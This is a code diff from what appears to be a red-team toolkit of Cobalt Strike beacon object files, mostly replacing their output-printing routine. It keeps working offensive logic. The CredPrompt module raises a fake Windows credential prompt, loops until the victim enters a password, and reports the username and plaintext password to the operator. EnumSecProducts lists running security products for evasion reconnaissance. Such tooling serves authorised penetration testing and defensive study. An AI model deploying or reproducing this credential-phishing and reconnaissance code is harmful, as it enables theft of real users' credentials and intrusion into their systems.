-WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
 WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
 WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
 WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
 WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
-WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
-DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
-
-
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);

BIN
KIT/CaptureNetNTLM/capturenetntlm.o


+ 76 - 94
KIT/CredPrompt/credprompt.c

@@ -20,95 +20,77 @@ typedef struct {
 
 
 
-
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
-	HRESULT hr = S_FALSE;
-	va_list argList;
-	DWORD dwWritten = 0;
-
-	if (g_lpStream <= (LPSTREAM)1) {
-		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
-		if (FAILED(hr)) {
-			return hr;
-		}
-	}
-
-	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
-		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
-		if (g_lpwPrintBuffer == NULL) {
-			hr = E_FAIL;
-			goto CleanUp;
-		}
-	}
-
-	va_start(argList, lpwFormat);
-	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
-		hr = E_FAIL;
-		goto CleanUp;
-	}
-
-	if (g_lpStream != NULL) {
-		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
-			goto CleanUp;
-		}
-	}
-
-	hr = S_OK;
-
-CleanUp:
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); 
-	}
-
-	va_end(argList);
-	return hr;
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
 }
 
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-VOID BeaconOutputStreamW() {
-	STATSTG ssStreamData = { 0 };
-	SIZE_T cbSize = 0;
-	ULONG cbRead = 0;
-	LARGE_INTEGER pos;
-	LPWSTR lpwOutput = NULL;
-
-	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
-		return;
-	}
-
-	cbSize = ssStreamData.cbSize.LowPart;
-	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
-	if (lpwOutput != NULL) {
-		pos.QuadPart = 0;
-		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
-			goto CleanUp;
-		}
-
-		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
-			goto CleanUp;
-		}
-
-		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
-	}
-
-CleanUp:
-	if (g_lpStream != NULL) {
-		g_lpStream->lpVtbl->Release(g_lpStream);
-		g_lpStream = NULL;
-	}
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$free(g_lpwPrintBuffer); 
-		g_lpwPrintBuffer = NULL;
-	}
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
 
-	if (lpwOutput != NULL) {
-		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
-	}
-	return;
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
 }
+//END TrustedSec BOF print code.
+
 
 
 BOOL is_empty_or_whitespace(WCHAR *str) {
@@ -182,8 +164,8 @@ BOOL PromptForCreds(LPWSTR title, LPWSTR message, LPWSTR *username, LPWSTR *pass
 	DWORD threadId;
 	HANDLE hThread = KERNEL32$CreateThread(NULL, 0, PromptWithTimeout, (LPVOID)&timeoutStruct, 0, &threadId);
 	
-	BeaconPrintToStreamW(L"\nPrompt event log:\n");
-	BeaconPrintToStreamW(L"==============================================\n");
+	internal_printf("\nPrompt event log:\n");
+	internal_printf("==============================================\n");
 	
     do {
         // Prompt for credentials
@@ -218,7 +200,7 @@ BOOL PromptForCreds(LPWSTR title, LPWSTR message, LPWSTR *username, LPWSTR *pass
 	
             bValidPassword = !is_empty_or_whitespace(*password);
             if (!bValidPassword) {
-                BeaconPrintToStreamW(L"[!] User tried to enter empty password\n");
+                internal_printf("[!] User tried to enter empty password\n");
             }
             MSVCRT$memset(out_credentials, 0, out_credentials_size);
             OLE32$CoTaskMemFree(out_credentials);
@@ -226,11 +208,11 @@ BOOL PromptForCreds(LPWSTR title, LPWSTR message, LPWSTR *username, LPWSTR *pass
 		
 		else {
 			if (KERNEL32$WaitForSingleObject(hTimeoutEvent, 0) == WAIT_OBJECT_0) {
-				BeaconPrintToStreamW(L"[!] Credential prompt timed out\n");
+				internal_printf("[!] Credential prompt timed out\n");
 				break;
 				
 			} else {
-				BeaconPrintToStreamW(L"[!] User tried to close the prompt\n");
+				internal_printf("[!] User tried to close the prompt\n");
 			}
 		}
 	} while (!bValidPassword);
@@ -261,12 +243,13 @@ int go(char *args, int len) {
 	title = BeaconDataExtract(&parser, NULL);
 	message = BeaconDataExtract(&parser, NULL);
 	timer_seconds = BeaconDataInt(&parser, NULL);
+	if(!bofstart()) return;
 	
 	
     if (PromptForCreds(title, message, &username, &password, &domain, timer_seconds))
 	{
-        BeaconPrintToStreamW(L"[+] User entered something:\n\tUsername: %ls\n\tPassword: %ls\n", username, password);
-		BeaconOutputStreamW();
+        internal_printf("[+] Entered credentials by user:\n\tUsername: %ls\n\tPassword: %ls\n", username, password);
+		printoutput(TRUE);
 		
 		MSVCRT$memset(password, 0, MSVCRT$wcslen(password) * sizeof(WCHAR));
         MSVCRT$free(username);
@@ -275,8 +258,7 @@ int go(char *args, int len) {
     }
     else
     {
-		BeaconOutputStreamW();
-        BeaconPrintf(CALLBACK_ERROR, "No credentials were obtained.\n");
+		printoutput(TRUE);
     }
 
     return 0;

+ 4 - 10
KIT/CredPrompt/credprompt.h

@@ -26,26 +26,20 @@ DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateEventW(LPSECURITY_ATTRIBUTES lpEven
 DECLSPEC_IMPORT void WINAPI OLE32$CoTaskMemFree(LPVOID pv);
 DECLSPEC_IMPORT BOOL WINAPI KERNEL32$TerminateThread(HANDLE hThread, DWORD dwExitCode);
 DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);
-DECLSPEC_IMPORT void __cdecl MSVCRT$free(void* _Block);
+//DECLSPEC_IMPORT void __cdecl MSVCRT$free(void* _Block);
 DECLSPEC_IMPORT size_t __cdecl MSVCRT$wcslen(const wchar_t* _Str);
 DECLSPEC_IMPORT void* __cdecl MSVCRT$malloc(size_t _Size);
 DECLSPEC_IMPORT HWND USER32$GetForegroundWindow();
 
-//BeaconPrintToStreamW + BeaconOutputStreamW
-#define MAX_STRING 8192
-INT g_iGarbage = 1;
-LPSTREAM g_lpStream = (LPSTREAM)1;
-LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
+//bofstart + internal_printf + printoutput
 WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
-WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
 WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
 WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
 WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
 WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
 WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
-DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
 
 
 

BIN
KIT/CredPrompt/credprompt.o


+ 77 - 105
KIT/EnumLocalCert/enumlocalcert.c

@@ -10,103 +10,77 @@
 #pragma comment(lib, "Advapi32.lib")
 
 
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
-	HRESULT hr = S_FALSE;
-	va_list argList;
-	DWORD dwWritten = 0;
-
-	if (g_lpStream <= (LPSTREAM)1) {
-		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
-		if (FAILED(hr)) {
-			return hr;
-		}
-	}
-
-	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
-		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
-		if (g_lpwPrintBuffer == NULL) {
-			hr = E_FAIL;
-			goto CleanUp;
-		}
-	}
 
-	va_start(argList, lpwFormat);
-	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
-		hr = E_FAIL;
-		goto CleanUp;
-	}
-
-	if (g_lpStream != NULL) {
-		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
-			goto CleanUp;
-		}
-	}
-
-	hr = S_OK;
-
-CleanUp:
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); 
-	}
-
-	va_end(argList);
-	return hr;
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
 }
 
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-VOID BeaconOutputStreamW() {
-	STATSTG ssStreamData = { 0 };
-	SIZE_T cbSize = 0;
-	ULONG cbRead = 0;
-	LARGE_INTEGER pos;
-	LPWSTR lpwOutput = NULL;
-
-	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
-		return;
-	}
-
-	cbSize = ssStreamData.cbSize.LowPart;
-	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
-	if (lpwOutput != NULL) {
-		pos.QuadPart = 0;
-		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
-			goto CleanUp;
-		}
-
-		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
-			goto CleanUp;
-		}
-
-		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
-	}
-
-CleanUp:
-	if (g_lpStream != NULL) {
-		g_lpStream->lpVtbl->Release(g_lpStream);
-		g_lpStream = NULL;
-	}
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$free(g_lpwPrintBuffer); 
-		g_lpwPrintBuffer = NULL;
-	}
-
-	if (lpwOutput != NULL) {
-		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
-	}
-	return;
-}
-
-
-void replace_wchar(LPWSTR str, wchar_t old_char, wchar_t new_char) {
-    for (size_t i = 0; str[i] != L'\0'; i++) {
-        if (str[i] == old_char) {
-            str[i] = new_char;
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
         }
     }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
 }
+//END TrustedSec BOF print code.
 
 
 
@@ -126,7 +100,7 @@ BOOL printCertProperties(PCCERT_CONTEXT pCertContext) {
 
     if (!CRYPT32$CertGetNameStringW(pCertContext, CERT_NAME_SIMPLE_DISPLAY_TYPE, 0, NULL, pszName, dwSize)) return FALSE;
 
-    BeaconPrintToStreamW(L"\nIssued By: %s\n", pszName);
+    internal_printf("\nIssued By: %ls\n", pszName);
     KERNEL32$LocalFree(pszName);
 	
 	// Get the "Thumbprint" property
@@ -135,17 +109,17 @@ BOOL printCertProperties(PCCERT_CONTEXT pCertContext) {
 			MSVCRT$_snwprintf_s(thumbprintStr + (i * 2), 3, 2, L"%02X", thumbprint[i]);
 		}
 		thumbprintStr[40] = L'\0';
-		BeaconPrintToStreamW(L"Thumbprint: %s\n", thumbprintStr);
+		internal_printf("Thumbprint: %ls\n", thumbprintStr);
 	}
 	else {
-		BeaconPrintToStreamW(L"Failed to get thumbprint.\n");
+		internal_printf("Failed to get thumbprint.\n");
 	}
 
 	// Get the "Friendly Name" property
 	dwSize = 0;
 	dwSize = CRYPT32$CertGetNameStringW(pCertContext, CERT_NAME_FRIENDLY_DISPLAY_TYPE, 0, NULL, NULL, 0);
 	if (dwSize == 1) { 
-		BeaconPrintToStreamW(L"Friendly Name: none\n");
+		internal_printf("Friendly Name: none\n");
 	}
 	else
 	{
@@ -153,9 +127,7 @@ BOOL printCertProperties(PCCERT_CONTEXT pCertContext) {
 		if (!pszName) return FALSE;
 		if (!CRYPT32$CertGetNameStringW(pCertContext, CERT_NAME_FRIENDLY_DISPLAY_TYPE, 0, NULL, pszName, dwSize)) return FALSE;
 
-		replace_wchar(pszName, L'\x2013', L'-');
-		BeaconPrintToStreamW(L"Friendly Name: %ls\n", pszName);
-		
+		internal_printf("Friendly Name: %ls\n", pszName);
 		KERNEL32$LocalFree(pszName);
 	}
 	
@@ -166,7 +138,7 @@ BOOL printCertProperties(PCCERT_CONTEXT pCertContext) {
 
 	WCHAR szExpirationDate[256];
 	KERNEL32$GetDateFormatW(LOCALE_USER_DEFAULT, 0, &stExpirationDate, L"yyyy-MM-dd", szExpirationDate, sizeof(szExpirationDate) / sizeof(WCHAR));
-	BeaconPrintToStreamW(L"Expiration Date: %s\n", szExpirationDate);
+	internal_printf("Expiration Date: %ls\n", szExpirationDate);
 
 	
 	// Get the "Intended Purposes" property
@@ -179,24 +151,24 @@ BOOL printCertProperties(PCCERT_CONTEXT pCertContext) {
 
 	if (!CRYPT32$CertGetEnhancedKeyUsage(pCertContext, 0, pUsage, &dwUsageSize)) return FALSE;
 
-	BeaconPrintToStreamW(L"Intended Purposes:\n");
+	internal_printf("Intended Purposes:\n");
 	for (DWORD i = 0; i < pUsage->cUsageIdentifier; ++i)
 	{
 		LPCSTR pszOID = pUsage->rgpszUsageIdentifier[i];
 		PCCRYPT_OID_INFO pInfo = CRYPT32$CryptFindOIDInfo(CRYPT_OID_INFO_OID_KEY, (void*)pszOID, 0);
 		if (pInfo)
 		{
-			BeaconPrintToStreamW(L"  - %s (%S)\n", pInfo->pwszName, pszOID);
+			internal_printf("  - %ls (%s)\n", pInfo->pwszName, pszOID);
 		}
 		else
 		{
-			BeaconPrintToStreamW(L"  - Unknown OID: %S\n", pszOID);
+			internal_printf("  - Unknown OID: %s\n", pszOID);
 		}
 	}
 	KERNEL32$LocalFree(pUsage);
 	
 	
-	BeaconPrintToStreamW(L"\n");
+	internal_printf("\n");
 	return TRUE;
 }
 
@@ -210,6 +182,7 @@ int go(char *args, int len) {
 	
 	BeaconDataParse(&parser, args, len);
 	store = BeaconDataExtract(&parser, NULL);
+	if(!bofstart()) return;
 	
 	// Open Local Computer store
 	hStore = CRYPT32$CertOpenStore(CERT_STORE_PROV_SYSTEM_W, 0, (HCRYPTPROV)NULL, CERT_SYSTEM_STORE_LOCAL_MACHINE | CERT_STORE_OPEN_EXISTING_FLAG, store); 
@@ -229,8 +202,7 @@ int go(char *args, int len) {
 		return 0;
 	}
 	else  {
-		BeaconOutputStreamW();
-		BeaconPrintf(CALLBACK_OUTPUT, "[+] DONE");
+		printoutput(TRUE);
 	}
 	
 	if (pCertContext) CRYPT32$CertFreeCertificateContext(pCertContext);

+ 4 - 13
KIT/EnumLocalCert/enumlocalcert.h

@@ -19,21 +19,12 @@ DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertGetCertificateContextProperty(PCCERT_CON
 WINBASEAPI int __cdecl MSVCRT$_snwprintf_s(wchar_t * _DstBuf, size_t _DstSize, size_t _MaxCount, const wchar_t * _Format, ...);
 
 
-//BeaconPrintToStreamW + BeaconOutputStreamW
-#define MAX_STRING 8192
-INT g_iGarbage = 1;
-LPSTREAM g_lpStream = (LPSTREAM)1;
-LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
+//bofstart + internal_printf + printoutput
 WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
-WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
 WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
 WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
 WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
 WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
-WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
-DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
-
-
-
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);

BIN
KIT/EnumLocalCert/enumlocalcert.o


+ 70 - 90
KIT/EnumSecProducts/enumsecproducts.c

@@ -13,96 +13,76 @@ typedef struct {
 } SoftwareData;
 
 
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
-	HRESULT hr = S_FALSE;
-	va_list argList;
-	DWORD dwWritten = 0;
-
-	if (g_lpStream <= (LPSTREAM)1) {
-		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
-		if (FAILED(hr)) {
-			return hr;
-		}
-	}
-
-	if (g_lpwPrintBuffer <= (LPWSTR)1) {  
-		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
-		if (g_lpwPrintBuffer == NULL) {
-			hr = E_FAIL;
-			goto CleanUp;
-		}
-	}
-
-	va_start(argList, lpwFormat);
-	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
-		hr = E_FAIL;
-		goto CleanUp;
-	}
-
-	if (g_lpStream != NULL) {
-		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
-			goto CleanUp;
-		}
-	}
-
-	hr = S_OK;
-
-CleanUp:
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); 
-	}
-
-	va_end(argList);
-	return hr;
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
 }
 
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-VOID BeaconOutputStreamW() {
-	STATSTG ssStreamData = { 0 };
-	SIZE_T cbSize = 0;
-	ULONG cbRead = 0;
-	LARGE_INTEGER pos;
-	LPWSTR lpwOutput = NULL;
-
-	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
-		return;
-	}
-
-	cbSize = ssStreamData.cbSize.LowPart;
-	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
-	if (lpwOutput != NULL) {
-		pos.QuadPart = 0;
-		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
-			goto CleanUp;
-		}
-
-		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
-			goto CleanUp;
-		}
-
-		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
-	}
-
-CleanUp:
-
-	if (g_lpStream != NULL) {
-		g_lpStream->lpVtbl->Release(g_lpStream);
-		g_lpStream = NULL;
-	}
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$free(g_lpwPrintBuffer); 
-		g_lpwPrintBuffer = NULL;
-	}
-
-	if (lpwOutput != NULL) {
-		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
-	}
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
 
-	return;
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
 }
+//END TrustedSec BOF print code.
 
 
 
@@ -119,6 +99,7 @@ void go(char *args, int len) {
 	
     BeaconDataParse(&parser, args, len);
     hostName = BeaconDataExtract(&parser, &argSize);
+	if(!bofstart()) return;
 
 	//allocate memory for list
 	size_t numSoftware = 130; //130
@@ -666,7 +647,7 @@ void go(char *args, int len) {
 	}
 
 	//compare list with running processes
-	BeaconPrintToStreamW(L"Description\t\t\t\t\tCategory\n--------------------------------------------------------------\n");
+	internal_printf("Description\t\t\t\t\tCategory\n==============================================================\n");
 	for (int i = 0 ; i < pi_count ; i++ ) {
 		procName = proc_info[i].pProcessName;
 		
@@ -676,7 +657,7 @@ void go(char *args, int len) {
 		
 		for (size_t i = 0; i < numSoftware; i++) {
 			if (MSVCRT$strcmp(procName, softwareList[i].filename) == 0) {
-				BeaconPrintToStreamW(L"%-50ls\t%ls\n", softwareList[i].description, softwareList[i].category);
